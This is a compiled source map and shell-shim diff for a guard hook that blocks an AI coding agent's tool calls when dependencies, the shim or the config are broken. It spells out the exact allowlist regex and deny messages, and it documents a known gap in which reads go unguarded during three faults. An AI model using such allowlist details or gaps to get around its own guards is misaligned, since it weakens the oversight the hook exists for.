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","sourcesContent":["import { CONFIG_FILENAME, writeTemplate } from '@webpieces/rules-config';\n\nimport {\n INSTALL_HOOKS_CMD, INSTALL_HOOKS_SYNC_CMD, L0AllowEntry, L0Call, L0_ALLOWLIST, RECOVERY_CMD,\n RESTORE_SHIM_CMD, UPGRADE_SHIM_CMD, renderShim, shimStaleDenyReason,\n} from '../bin/shim';\nimport { toError } from './to-error';\n\n// ---------------------------------------------------------------------------\n// L0 — the TOOLING-INTEGRITY layer, as data.\n//\n// L0 is the outermost guard: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. It has SIX faults\n// and — drawn as a decision matrix — NO genuine second dimension:\n//\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n//\n// so the only thing that varies per fault is the MESSAGE. This module holds the fault table and\n// renders it, together with L0_ALLOWLIST (../bin/shim), into webpieces.guard-matrix.md — the doc the\n// deny messages point the AI at. Doc and code come from the SAME arrays, so they cannot drift.\n// ---------------------------------------------------------------------------\n\n/**\n * The doc L0's deny messages point at. Lives in @webpieces/rules-config/templates alongside the others,\n * and is written to <root>/.webpieces/instruct-ai/ lazily, only on an L0 BLOCK.\n *\n * That generated doc is the AUTHORITY for the fault table and the allowlist (same arrays, cannot\n * drift). GUARD_MATRIX.md at this repo's root is the hand-written companion: it adds L0's evaluation\n * ORDER, the use cases and the known gaps, and it documents L1, none of which are rendered from code.\n * Change L0_FAULTS or L0_ALLOWLIST and the generated doc follows automatically — GUARD_MATRIX.md does\n * not, so update it in the same PR.\n */\nexport const GUARD_MATRIX_DOC = 'webpieces.guard-matrix.md';\n\n/**\n * One CURE for a fault: the exact call, plus the `mention` that must appear in that fault's deny text.\n *\n * Both halves are asserted (l0-matrix.spec.ts): the call must be accepted by isAllowed(), and the deny\n * message must actually name it. That pairing is the anti-deadlock invariant — a message that\n * prescribes a command the allowlist rejects is exactly the shape of the three deadlocks CLAUDE.md\n * records, and it is how the dead `wp-setup-ai-hooks` bin in the config-missing text was caught.\n */\nexport class L0Cure {\n // eslint-disable-next-line @typescript-eslint/max-params\n constructor(\n readonly mention: string,\n readonly call: L0Call,\n /**\n * The one to reach for first when a fault has several. Exactly one cure per fault carries it,\n * so the rendered Fix section never asks the reader to choose between equals.\n */\n readonly preferred: boolean,\n /**\n * WHEN to pick this cure over its siblings — the sentence that makes a list of commands\n * actionable instead of a menu (\"when the PIN is the stale side\", not \"an alternative\").\n */\n readonly discriminator: string,\n ) {}\n\n /** A Bash cure renders as a literal command; a tool-shaped one renders as the edit it stands for. */\n isCommand(): boolean {\n return this.call.toolName === 'Bash';\n }\n}\n\n/** One L0 fault. Data-only → a class, per CLAUDE.md. */\nexport class L0Fault {\n constructor(\n readonly code: string,\n readonly name: string,\n readonly detectedBy: string,\n readonly enforcedIn: string,\n readonly cures: readonly L0Cure[],\n /**\n * The artifact carrying this fault's deny text. For S/C/Y that is the deny string itself; for\n * D/X/K the text is built in POSIX sh inside the rendered shim, so it is the rendered shim —\n * the same bytes the consumer runs, which is what the mention assertion needs to search.\n */\n readonly denyText: string,\n ) {}\n}\n\n// The deny for fault C, and the ONLY message L0 has for a repo with no webpieces.config.json at all.\n// Moved here from runner.ts so the fault table and the runner cannot state different cures.\n//\n// It used to name `./node_modules/.bin/wp-setup-ai-hooks` — a bin that HAS NOT EXISTED since it was\n// renamed to wp-install-ai-hooks. So the one command this deny prescribed was (a) not installable and\n// (b) not on the L0 allowlist in that spelling, i.e. the AI was handed a cure it could neither run nor\n// get past the guard. Now it names the installer that actually seeds the config AND is entry 8 of the\n// allowlist, and it says out loud that writing the config yourself is allowed through.\n//\n// ORDERING (2026-08-02): writing the file yourself now LEADS. The bare installer used to be OPTION 1,\n// but it seeds the config and then PROMPTS twice for a hook target, which hangs a non-interactive\n// agent — and `--sync` is no help here either (\"No webpieces.config.json found — nothing to sync\"), so\n// there is no non-interactive installer spelling for this fault. Writing the file is the one cure that\n// always works, and it is the same cure every other config problem has (see the config-validation\n// invariant in GUARD_MATRIX.md): the validator reports every error at once, so the write/validate loop\n// converges in a couple of passes. Do NOT \"fix\" this by teaching --sync to seed the file.\nexport const CONFIG_MISSING_REPORT =\n `${CONFIG_FILENAME} not found — the webpieces guards cannot run without it, so every other tool call is blocked.\\n` +\n 'THIS IS NOT A DEADLOCK: both options below are explicitly allowed through while this guard is up.\\n' +\n `OPTION 1 (preferred — it needs no other tool and it never prompts) - create ${CONFIG_FILENAME}\\n` +\n 'yourself: any Read, and any Write/Edit whose target is that file, is always allowed through, so\\n' +\n 'you can inspect the repo and write it. The validator reports EVERY missing/invalid entry at once\\n' +\n '(each with the snippet to paste), so a minimal first draft converges in about two passes.\\n' +\n 'OPTION 2 (pick this ONLY at an interactive terminal where you can answer its two prompts) - run\\n' +\n 'EXACTLY this command to seed the config: `pnpm exec wp-install-ai-hooks`. It goes on to wire the\\n' +\n 'Claude Code hooks and asks for a target twice, which hangs a non-interactive session.\\n' +\n 'Do not append anything to the option you pick — the allowlist is anchored to the whole command.';\n\n// The first line of the fault-Y deny (built out in runner.checkConfigSync, which appends the per-rule\n// detail). Kept here so the fault table quotes the same text the runner emits.\nexport const CONFIG_OUT_OF_SYNC_HEADER =\n `${CONFIG_FILENAME} is out of sync — new built-in rules are present that have no entry in ${CONFIG_FILENAME}.`;\n\n// Writing/repairing the file yourself. PREFERRED for both config faults, per the config-validation\n// invariant in GUARD_MATRIX.md: every config problem cures to \"make the file right\", the validator\n// reports all errors at once so the loop converges in a couple of passes, and allowlist entry 2 permits\n// this edit unconditionally. (That section is the authority — do not restate its reasoning here.)\nconst CONFIG_WRITE_CURE = new L0Cure(\n CONFIG_FILENAME, new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`), true,\n 'this fault fires at all — it is the only cure that needs no other tool, and it is never denied',\n);\n\n// Cure calls are spelled exactly as the deny messages spell them, so the mention assertion is a real\n// string search rather than a paraphrase.\n// webpieces-disable no-function-outside-class -- pure constructor helper for the L0_FAULTS literal below, in this data module\nfunction bashCure(command: string, preferred: boolean, discriminator: string): L0Cure {\n return new L0Cure(command, new L0Call('Bash', command, ''), preferred, discriminator);\n}\n\n/**\n * THE six L0 faults, in first-match-wins order. D/X/K are decided in POSIX sh BEFORE the bin runs (a\n * stale, missing or broken validator cannot be trusted to validate itself); S/C/Y are decided inside\n * the bin, in JS. One model, two enforcement points.\n */\nexport const L0_FAULTS: readonly L0Fault[] = [\n new L0Fault('D', 'version drift — root package.json pin != installed version',\n 'sh, before the bin runs', 'sh',\n [\n // `pnpm install` clears D in BOTH directions — it makes installed == pin by definition — so\n // it is always the preferred cure. The direction only decides whether the PIN is the version\n // you WANT, which is what the second cure is for.\n bashCure('pnpm install', true,\n 'node_modules is OLDER than the pin, OR you are on a feature branch and want YOUR '\n + 'branch pin (usually the case) — it always clears the drift'),\n bashCure('git pull', false,\n 'node_modules is NEWER than the pin AND you are on main — the PIN is the stale side, so '\n + 'pull first and install second; a bare install would downgrade you'),\n ], renderShim()),\n new L0Fault('X', 'guard bin missing (fresh clone / new worktree / package removed)',\n 'sh, before the bin runs', 'sh',\n [bashCure('pnpm install', true,\n 'this fault fires at all — nothing is installed in THIS tree, and a new git worktree '\n + 'copies no node_modules')],\n renderShim()),\n new L0Fault('K', 'guard bin present but CRASHED (exit code not 0 or 2 — corrupt node_modules)',\n 'sh, before the bin runs', 'sh',\n [bashCure(RECOVERY_CMD, true,\n 'this fault fires at all — a BARE pnpm install SKIPS the corrupt package, because pnpm sees '\n + 'the right version on disk and considers it installed; only the delete forces a rewrite')],\n renderShim()),\n new L0Fault('S', 'committed .claude/webpieces/ai-hook.sh != renderShim()',\n 'the guard bin', 'JS',\n [\n // --sync, not the bare bin: runInstaller() calls healShim() as STEP 1 (before it even loads\n // setup), and setup.main() returns on `--sync` before the two interactive wireHook prompts.\n // So it heals and exits. The BARE spelling prompts twice and hangs a non-interactive agent,\n // which is why it is not a cure here at all.\n bashCure(INSTALL_HOOKS_SYNC_CMD, true,\n 'you are on a current release — it re-arms the shim as step 1 and returns before the '\n + 'interactive hook wiring, so it is the only non-interactive spelling'),\n bashCure(UPGRADE_SHIM_CMD, false,\n 'you want the shim regenerated and NOTHING else; needs installed '\n + '@webpieces/ai-hook-rules 0.4.408 or newer'),\n bashCure(RESTORE_SHIM_CMD, false,\n 'the installed @webpieces/ai-hook-rules is OLDER than 0.4.408, so wp-upgrade-shim does '\n + 'not exist yet — this works on every release'),\n ],\n shimStaleDenyReason('')),\n new L0Fault('C', `${CONFIG_FILENAME} missing`,\n 'the guard bin', 'JS',\n [\n CONFIG_WRITE_CURE,\n // Kept, but demoted: it seeds the file and then PROMPTS twice. `--sync` is NOT an option for\n // this fault — with no file to read it prints \"nothing to sync\" and exits.\n bashCure(INSTALL_HOOKS_CMD, false,\n 'you are at an INTERACTIVE terminal and can answer its two hook-target prompts'),\n ], CONFIG_MISSING_REPORT),\n new L0Fault('Y', `a loaded rule has no ${CONFIG_FILENAME} key`,\n 'the guard bin', 'JS',\n [CONFIG_WRITE_CURE], CONFIG_OUT_OF_SYNC_HEADER),\n];\n\n/**\n * One fault's FIX section, rendered from its `cures` array — literal commands only, never prose.\n *\n * This is the half that used to live in hand-written docs and drift. The three fields of L0Cure map\n * onto the three things a blocked reader needs and nothing else: WHAT to type (the call), WHETHER it is\n * the default (preferred), and WHEN to pick a sibling instead (discriminator). A cure with no\n * discriminator would render as a menu of equals, which is how an agent picks the wrong one.\n */\n// webpieces-disable no-function-outside-class -- pure string builder for renderGuardMatrixDoc below, beside the arrays it reads\nfunction renderFixSection(fault: L0Fault): string[] {\n const options = fault.cures.map((cure: L0Cure, i: number): string => {\n // A Bash cure is the command verbatim; a tool-shaped one is the file it edits (allowlist entry 2).\n const literal = cure.isCommand() ? `\\`${cure.call.command}\\`` : `edit \\`${cure.mention}\\` yourself`;\n const label = cure.preferred ? `Option ${i + 1} (preferred)` : `Option ${i + 1}`;\n return `- **${label}**: ${literal} ← pick this when ${cure.discriminator}`;\n });\n return [`### \\`${fault.code}\\` — ${fault.name}`, '', ...options, ''];\n}\n\n/**\n * Render webpieces.guard-matrix.md from L0_FAULTS + L0_ALLOWLIST.\n *\n * A unit test locks the committed template byte-identical to this output, the same way\n * templates/ai-hook.sh is locked to renderShim(). That is what makes the doc assertable instead of\n * aspirational: the table in the doc IS the array the guard consults.\n */\n// webpieces-disable no-function-outside-class -- pure string builder over the two exported arrays, beside them in this module\nexport function renderGuardMatrixDoc(): string {\n return [\n '# webpieces guard matrix — L0 (tooling integrity)',\n '',\n 'GENERATED from `L0_FAULTS` + `L0_ALLOWLIST` in `@webpieces/ai-hook-rules`. Do not hand-edit —',\n 'a unit test locks this file byte-identical to `renderGuardMatrixDoc()`, so the table below is',\n 'the array the guard actually consults, not a description of it.',\n '',\n 'L0 is the OUTERMOST guard layer. It blocks work while `node_modules`, the committed shim, or',\n '`webpieces.config.json` are in a state that makes every other guard untrustworthy. If you are',\n 'reading this, one of the six faults below fired and named this file.',\n '',\n '## The faults',\n '',\n '| code | fault | detected by | enforced in |',\n '|---|---|---|---|',\n ...L0_FAULTS.map((f: L0Fault): string => `| \\`${f.code}\\` | ${f.name} | ${f.detectedBy} | ${f.enforcedIn} |`),\n '',\n 'First match wins. `D`/`X`/`K` are decided in POSIX `sh` inside the committed shim, BEFORE the',\n 'guard bin runs — a stale, missing or broken validator cannot be trusted to validate itself.',\n '',\n '## The fix, per fault',\n '',\n 'Every command below is rendered from that fault\\'s `cures` array and is asserted, by unit test,',\n 'to be accepted by `isAllowed()` — so nothing here can be a command the guard then rejects. Type',\n 'the option you pick EXACTLY as written and run nothing else on that line.',\n '',\n ...L0_FAULTS.flatMap(renderFixSection),\n ...renderMatrixAndAllowlist(),\n ].join('\\n');\n}\n\n/**\n * The second half of the doc: the three-row matrix and the ONE allowlist. Split out of\n * renderGuardMatrixDoc solely to keep it inside the method-line budget — the join order is what makes\n * the two halves one file, so keep them adjacent and keep the byte-lock test as the arbiter.\n */\n// webpieces-disable no-function-outside-class -- second half of renderGuardMatrixDoc's string, beside it in this module\nfunction renderMatrixAndAllowlist(): string[] {\n return [\n '## The matrix',\n '',\n 'L0 has NO genuine second dimension. Every branch reduces to one question:',\n '',\n '| # | fault | on the allowlist? | outcome |',\n '|---|---|---|---|',\n '| 1 | none | — | hand down to the next guard layer |',\n '| 2 | any | yes | PASS or ALLOW (see the entry) |',\n '| 3 | any | no | BLOCK — **only the message varies by fault** |',\n '',\n 'The tool is not a dimension either: \"any Read\" is an allowlist ENTRY, not a tool check.',\n '',\n '## The allowlist',\n '',\n 'ONE list, consulted identically by all six faults. A cure that cannot help a given fault also',\n 'cannot hurt it, and gating each entry on a fault is what produced four real defects (a stale',\n 'shim that denied `pnpm install` and `git pull`; faults that denied every Read; a config fault',\n 'that denied `rm -rf node_modules && pnpm install` while allowing a bare `pnpm install`).',\n '',\n '| # | allowed | outcome |',\n '|---|---|---|',\n ...L0_ALLOWLIST.map((e: L0AllowEntry, i: number): string => `| ${i + 1} | ${e.label} | ${e.kind.toUpperCase()} |`),\n '',\n '- **PASS** — L0 has no objection; the call falls THROUGH so the downstream guards still judge it.',\n '- **ALLOW** — terminal; bypasses everything, because a cure must stay reachable even when a',\n ' downstream guard would block it.',\n '',\n 'Every Bash entry is anchored to the WHOLE command. A leading `cd <dir> &&`, a trailing `2>&1`',\n 'and a pipe into `tail`/`head` are tolerated; nothing else is. Appending `&& git status` makes it',\n 'a DIFFERENT command and it is rejected again — that is not the guard refusing its own cure.',\n '',\n '`git merge` is deliberately NOT on this list. Main is merged ONLY through the 3-point fork merge',\n '(`pnpm wp-start-update`, or `pnpm wp-start-upsert-pr` when a PR is already open).',\n '',\n '## Known asymmetry',\n '',\n 'Under `S`/`C`/`Y` the guard bin IS running, so a PASS really does fall through to the downstream',\n 'guards. Under `D`/`X`/`K` the bin is never executed, so there is nothing to fall through to and a',\n 'PASS degenerates into a terminal allow — reads are unguarded during those three faults.',\n '',\n '## Widening L0',\n '',\n 'Add an entry to `L0_ALLOWLIST` in `packages/tooling/ai-hook-rules/src/bin/shim.ts`. That array is',\n 'the single source for the JS allowlist, the `grep -E` inside the rendered shim, and this file.',\n '',\n ];\n}\n\n/**\n * Drop the matrix doc where the AI can read it, and return its absolute path ('' if it could not be\n * written). Called from the L0 BLOCK path so the deny can say `READ <path>`.\n *\n * Best-effort by design: this runs while the tree is already known-broken, and a missing template (an\n * @webpieces/rules-config older than this package) must degrade the deny message, never replace it\n * with a crash.\n */\n// webpieces-disable no-function-outside-class -- sibling of renderGuardMatrixDoc in this module\nexport function writeGuardMatrixDoc(workspaceRoot: string): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return writeTemplate(workspaceRoot, GUARD_MATRIX_DOC);\n } catch (err: unknown) {\n const error = toError(err);\n void error; // best-effort: no doc → the deny simply omits the pointer\n return '';\n }\n}\n\n/** The `READ <path>` pointer appended to an L0 deny, or '' when the doc could not be written. */\n// webpieces-disable no-function-outside-class -- sibling of writeGuardMatrixDoc in this module\nexport function guardMatrixPointer(docPath: string): string {\n if (docPath === '') return '';\n return ` The full L0 guard matrix - all six faults and everything that is allowed through - is at ${docPath}; READ it if you are unsure why this call was blocked.`;\n}\n"]}
@@ -134,7 +134,7 @@ case "$FILE" in
134
134
  wp_log ALLOW-CONFIG # the always-allowed recovery target — every guard is configured from it
135
135
  exit 0 ;;
136
136
  esac
137
- if printf '%s' "$CMD" | grep -Eq '^(cd[[:space:]]+[A-Za-z0-9._/@~+-]+[[:space:]]*&&[[:space:]]*)?((pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*|rm[[:space:]]+-rf[[:space:]]+(\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?|git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*|(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim|cp[[:space:]]+(\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\.sh[[:space:]]+(\./)?\.claude/webpieces/ai-hook\.sh|(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks)([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$'; then
137
+ if printf '%s' "$CMD" | grep -Eq '^(cd[[:space:]]+[A-Za-z0-9._/@~+-]+[[:space:]]*&&[[:space:]]*)?((pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*|rm[[:space:]]+-rf[[:space:]]+(\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?|git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*|(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim|cp[[:space:]]+(\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\.sh[[:space:]]+(\./)?\.claude/webpieces/ai-hook\.sh|(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$'; then
138
138
  wp_log ALLOW-CURE # record the self-heal we let through (re-enables the guards)
139
139
  exit 0 # allow the cure so the assistant can break the deadlock
140
140
  fi
@@ -161,7 +161,19 @@ elif [ -n "$DRIFT_PKG" ]; then
161
161
  # check is a plain !=, so it fires BOTH ways, and the old text always claimed node_modules was the
162
162
  # older side. When it is actually the NEWER side (a checkout behind origin), that text sent people
163
163
  # to 'pnpm install', which DOWNGRADES them further from correct.
164
- REASON="❌ webpieces version drift: package.json pins $DRIFT_PKG@$DRIFT_DECLARED but node_modules has $DRIFT_INSTALLED. Every OTHER call is blocked until they agree. WHICH ONE IS STALE decides which option is yours - compare the two versions above. OPTION 1 (the pin is NEWER than node_modules - you just pulled or switched to a branch pinning a newer webpieces) - run EXACTLY this command to catch node_modules up: 'pnpm install'. OPTION 2 (the pin is OLDER than node_modules - your checkout is behind origin, so the PIN is the stale side, and 'pnpm install' on its own would DOWNGRADE you) - get the checkout current FIRST, THEN run 'pnpm install'. To get main itself current: ON main, run 'git pull origin main'. In a linked worktree (main is checked out in the primary clone, so checkout main fatals there), run 'git fetch origin main' and branch off origin/main. Do NOT reach for git merge --ff-only / git reset --hard / git checkout -B main: merge and rebase are blocked in EVERY form by redirect-how-to-merge-main, and the reset/-B forms silently throw away commits. To sync a FEATURE branch from main use pnpm wp-start-update (no PR open) or pnpm wp-start-upsert-pr (a PR is open). git pull and git fetch are allowed while this guard is up and are the cure here. git merge is NOT allowed - not by this guard and not by redirect-how-to-merge-main once the guards are back - because main is merged ONLY through the 3-point fork merge: 'pnpm wp-start-update', or 'pnpm wp-start-upsert-pr' when a PR is already open. Type the option you pick EXACTLY as written, character for character, and run NOTHING else on that line. Seriously: do NOT append && anything (not even a harmless && git status), do NOT wrap it in a subshell. The allowlist is anchored to the ENTIRE command, so anything you bolt on makes it a DIFFERENT command and it WILL be rejected again - which is not the guard refusing its own cure. If an option already contains &&, that && is part of the command: keep it, and still add nothing beyond it. The only additions tolerated are a LEADING cd <dir> && (needed to run the cure in a linked worktree, since the harness resets a cwd that left the workspace and puts you back in the primary clone - that one IS accepted), a trailing 2>&1, and a pipe into tail/head (e.g. cd /path/to/worktree && pnpm install 2>&1 | tail -20)."
164
+ #
165
+ # But "which side is stale" is NOT the same question as "what clears the block". 'pnpm install' clears
166
+ # fault D in BOTH directions by definition — it makes installed == pin. The old text never said so, so
167
+ # a reader on the OPTION 2 branch could not tell whether it was even permitted to install. The only
168
+ # real question is whether the PIN is the version you WANT, and that has three legitimate answers,
169
+ # including deliberately staying on the older code (a checkout + feature branch + install to
170
+ # downgrade). Saying that out loud stops it being improvised as a reset --hard.
171
+ #
172
+ # The FEATURE-BRANCH case is why featureBranchSyncAdvice() is a separate method: wp-start-update is
173
+ # NOT on the L0 allowlist (a 3-point merge is not a tooling-integrity cure), so it can only be offered
174
+ # AFTER the install that clears this block and re-arms the guards. Prescribing it while the block is
175
+ # up would be the same deny-names-a-denied-command deadlock this module exists to prevent.
176
+ REASON="❌ webpieces version drift: package.json pins $DRIFT_PKG@$DRIFT_DECLARED but node_modules has $DRIFT_INSTALLED. Every OTHER call is blocked until they agree. 'pnpm install' ALWAYS clears this block, in BOTH directions - it makes node_modules match the pin by definition, and it is allowed through while this guard is up. The only question is whether the PIN is the version you WANT, so compare the two versions above. OPTION 1 (node_modules is OLDER than the pin - you just pulled or switched to a branch pinning a newer webpieces) - run EXACTLY this command and you are done: 'pnpm install'. OPTION 2 (node_modules is NEWER than the pin - your checkout is behind origin, so the PIN is the stale side, and a bare 'pnpm install' would DOWNGRADE you) - if you are ON MAIN, get the checkout current FIRST and then install: run 'git pull origin main', and after it succeeds run 'pnpm install'. OPTION 3 (node_modules is NEWER than the pin and you deliberately want to stay on the OLD code) - 